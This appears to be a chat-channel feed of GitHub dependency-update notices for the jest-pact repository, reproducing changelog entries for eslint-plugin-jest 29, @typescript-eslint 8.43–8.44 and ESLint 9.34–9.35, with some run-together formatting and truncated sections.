properties (945651c)docs.requiresTypeChecking
### BREAKING CHANGES
• dropped support for ESLint v8.x prior to v8.57.0
• dropped support for Node v20.x prior to v20.12.0
• dropped support for Node v23
• dropped support for Node v18
• unbound-method: removedanddocs.recommend
fromdocs.requiresTypeChecking
unbound-method
• dropped support forv7@typescript-eslint
• dropped support forv6@typescript-eslint
•has been removed from thejest/no-alias-methods
config as its already in thestyles
configrecommended
• dropped support for ESLint v7
• dropped support for Node v21
• dropped support for Node v16
## v28.14.0... (truncated) Changelog Sourced from eslint-plugin-jest's changelog.
## 29.0.1 (2025-06-18)
### Bug Fixes
• update semantic-release config so new v29 major is marked as latest on(#1772) (531c8ba)npm
# 29.0.0 (2025-06-18)
### Bug Fixes
• removefromjest/no-alias-methods
config (d3bf1dc)styles
### Features
• drop support forv6 (fe61a40)[@typescript-eslint](<https://github.com/typescript-eslint>)
• drop support forv7 (5ca65d3)[@typescript-eslint](<https://github.com/typescript-eslint>)
• drop support for ESLint v7 (b06e7d0)
• drop support for ESLint v8.x prior to v8.57.0 (d79765a)
• drop support for Node v16 (aaf62cd)
• drop support for Node v18 (598880c)
• drop support for Node v20.x prior to v20.12.0 (2f2fb68)
• drop support for Node v21 (a366393)
• drop support for Node v23 (1fb1a67)
• unbound-method: removeanddocs.recommended
properties (945651c)docs.requiresTypeChecking
### BREAKING CHANGES
• dropped support for ESLint v8.x prior to v8.57.0
• dropped support for Node v20.x prior to v20.12.0
• dropped support for Node v23
• dropped support for Node v18
• unbound-method: removedanddocs.recommend
fromdocs.requiresTypeChecking
unbound-method
• dropped support forv7@typescript-eslint
• dropped support forv6@typescript-eslint
•has been removed from thejest/no-alias-methods
config as its already in thestyles
configrecommended
• dropped support for ESLint v7
• dropped support for Node v21
• dropped support for Node v16
# 28.14.0 (2025-06-15)
### Features
• unbound-method: mark... (truncated) Commits • `0206a8a` chore(release): 29.0.1 [skip ci] • `1a9d310` docs: remove duplicate changelog entry (again) (#1774) • `f3deac1` chore(release): 29.0.0 [skip ci] • `6eade92` docs: remove duplicate changelog entry (#1773) • <https://github.com/jest-community/eslint-plugin-jest/commit/5b4cb543748d7f074e34d962d7273fa00225af72|… pact-foundation/jest-pactanddocs.recommended
as deprecated (#1762) (30440ef)docs.requiresTypeChecking
GitHub
09/15/2025, 9:02 PM## v8.44.0
## 8.44.0 (2025-09-15)
### 🚀 Features
• eslint-plugin: [await-thenable] report invalid (non-promise) values passed to promise aggregator methods (#11267)
### 🩹 Fixes
• deps: update dependencyto v4.8.0 (#11589)@eslint-community/eslint-utils
• eslint-plugin: [no-unnecessary-type-conversion] ignore enum members (#11490)
### ❤️ Thank You
• Moses Odutusin `@thebolarin`
• Ronen Amiel
You can read about our versioning strategy and releases on our website.
## v8.43.0
## 8.43.0 (2025-09-08)
### 🚀 Features
• typescript-estree: disallow empty type parameter/argument lists (#11563)
### 🩹 Fixes
• eslint-plugin: [no-non-null-assertion] do not suggest optional chain on LHS of assignment (#11489)
• eslint-plugin: [no-unnecessary-type-conversion] only report ~~ on integer literal types (#11517)
• eslint-plugin: [consistent-type-exports] fix declaration shadowing (#11457)
• eslint-plugin: [no-floating-promises] allowForKnownSafeCalls now supports function names (#11423, #11430)
• eslint-plugin: [no-deprecated] should report deprecated exports and reexports (#11359)
• eslint-plugin: [prefer-return-this-type] don't report an error when returning a union type that includes a classType (#11432)
• rule-tester: normalize paths before checking if they escape cwd (#11525)
• scope-manager: exclude Program from DefinitionBase node types (#11469)
• type-utils: add union type support to TypeOrValueSpecifier (#11526)
• typescript-estree: match filenames starting with a period when using glob in allowDefaultProject / (#11537)
### ❤️ Thank You
• Dima `@dbarabashh`
• Kirk Waiblinger `@kirkwaiblinger`
• mdm317
• Nicolas Le Cam
• tao
• Victor Genaev `@mainframev`
• Yukihiro Hasegawa `@y-hsgw`
• 민감자(Minji Kim) `@mouse0429`
• 송재욱... (truncated) Changelog Sourced from `@typescript-eslint/eslint-plugin`'s changelog.
## 8.44.0 (2025-09-15)
### 🚀 Features
• eslint-plugin: [await-thenable] report invalid (non-promise) values passed to promise aggregator methods (#11267)
### 🩹 Fixes
• eslint-plugin: [no-unnecessary-type-conversion] ignore enum members (#11490)
### ❤️ Thank You
• Moses Odutusin `@thebolarin`
• Ronen Amiel
You can read about our versioning strategy and releases on our website.
## 8.43.0 (2025-09-08)
### 🚀 Features
• typescript-estree: disallow empty type parameter/argument lists (#11563)
### 🩹 Fixes
• eslint-plugin: [prefer-return-this-type] don't report an error when returning a union type that includes a classType (#11432)
• eslint-plugin: [no-deprecated] should report deprecated exports and reexports (#11359)
• eslint-plugin: [no-floating-promises] allowForKnownSafeCalls now supports function names (#11423, #11430)
• eslint-plugin: [consistent-type-exports] fix declaration shadowing (#11457)
• eslint-plugin: [no-unnecessary-type-conversion] only report ~~ on integer literal types (#11517)
• scope-manager: exclude Program from DefinitionBase node types (#11469)
• eslint-plugin: [no-non-null-assertion] do not suggest optional chain on LHS of assignment (#11489)
• type-utils: add union type support to TypeOrValueSpecifier (#11526)
### ❤️ Thank You
• Dima `@dbarabashh`
• Kirk Waiblinger `@kirkwaiblinger`
• mdm317
• tao
• Victor Genaev `@mainframev`
• Yukihiro Hasegawa `@y-hsgw`
• 민감자(Minji Kim) `@mouse0429`
• 송재욱
You can read about our versioning strategy and releases on our website.
## 8.42.0 (2025-09-02)
### 🩹 Fixes... (truncated) Commits • `77056f7` chore(release): publish 8.44.0 • `684e63f` chore(deps): update eslint monorepo to v9.35.0 (#11600) • `2ed6857` fix(eslint-plugin): [no-unnecessary-type-conversion] ignore enum members (<https://github.com/typescript-eslint/typescript-eslint/tree/HEAD/packages/eslint-plugin/issues/11|#… pact-foundation/jest-pact
GitHub
09/15/2025, 9:03 PM## v9.35.0
## Features
• `42761fa` feat: implement suggestions for no-empty-function (#20057) (jaymarvelz)
• `102f444` feat: implement suggestions for no-empty-static-block (#20056) (jaymarvelz)
• `e51ffff` feat: addrule (#19913) (Amnish Singh Arora)preserve-caught-error
## Bug Fixes
• `10e7ae2` fix: update uncloneable options error message (#20059) (soda-sorcery)
• `bfa4601` fix: ignore empty switch statements with comments in no-empty rule (#20045) (jaymarvelz)
• `dfd11de` fix: addandbefore
to test case types (#20049) (Francesco Trotta)after
• `dabbe95` fix: correct types forrule (#20034) (Milos Djermanovic)no-restricted-imports
• `ea789c7` fix: no-loss-of-precision false positive with uppercase exponent (#20032) (sethamus)
## Documentation
• `d265515` docs: improve phrasing - "if" → "even if" from getting-started section (#20074) (jjangga0214)
• `a355a0e` docs: invert comparison logic for example indoc page (#20064) (OTonGitHub)no-var
• `5082fc2` docs: Update README (GitHub Actions Bot)
• `99cfd7e` docs: add missing "the" in rule deprecation docs (#20050) (Josh Goldberg ✨)
• `6ad8973` docs: updateand--no-ignore
documentation (#20036) (Francesco Trotta)--ignore-pattern
• `8033b19` docs: add documentation for(#20033) (Francesco Trotta)--no-config-lookup
## Chores
• `da87f2f` chore: upgrade `@eslint/js` `@9`.35.0 (#20077) (Milos Djermanovic)
• `af2a087` chore: package.json update forrelease (Jenkins)@eslint/js
• `7055764` test: remove(#20065) (Milos Djermanovic)tests/lib/eslint/eslint.config.js
• `84ffb96` chore: update(#20069) (Francesco Trotta)@eslint-community/eslint-utils
• `d5ef939` refactor: remove deprecatedusage across rules (#20060) (sethamus)context.parserOptions
• `1b3881d` chore: remove redundant word (#20058) (pxwanglu)
## v9.34.0
## Features
• `0bb777a` feat: multithread linting (#19794) (Francesco Trotta)
• `43a5f9e` feat: add eslint-plugin-regexp to eslint-config-eslint base config (#19951) (Pixel998)
## Bug Fixes
• `9b89903` fix: default value of accessor-pairs option in rule.d.ts file (#20024) (Tanuj Kanti)
• `6c07420` fix: fix spurious failure in neostandard integration test (#20023) (Kirk Waiblinger)
• `676f4ac` fix: allow scientific notation with trailing zeros matching exponent (#20002) (Sweta Tanwar)
## Documentation
• `0b4a590` docs: make rulesdir deprecation clearer (#20018) (Domenico Gemoli)
• `327c672` docs: Update README (GitHub Actions Bot)
• `bf26229` docs: Fix typo in core-concepts/index.md (#20009) (Tobias Hernstig)
• `2309327` docs: fix typo in the "Configuring Rules" section (#20001) (ghazi-git)
• `2b87e21` docs: [no-else-return] clarify sample code. (#19991) (Yuki Takada (Yukinosuke Takada))
• `c36570c` docs: Update README (GitHub Actions Bot)
## Chores
• `f19ad94` chore: upgrade to(#20030) (Francesco Trotta)@eslint/js@9.34.0
• `b48fa20` chore: package.json update for... (truncated) Changelog Sourced from eslint's changelog.release (Jenkins)@eslint/js
v9.35.0 - September 5, 2025
• <https://github.com/eslint/eslint/commit…pact-foundation/jest-pact
GitHub
09/16/2025, 11:05 AMGitHub
09/16/2025, 10:12 PM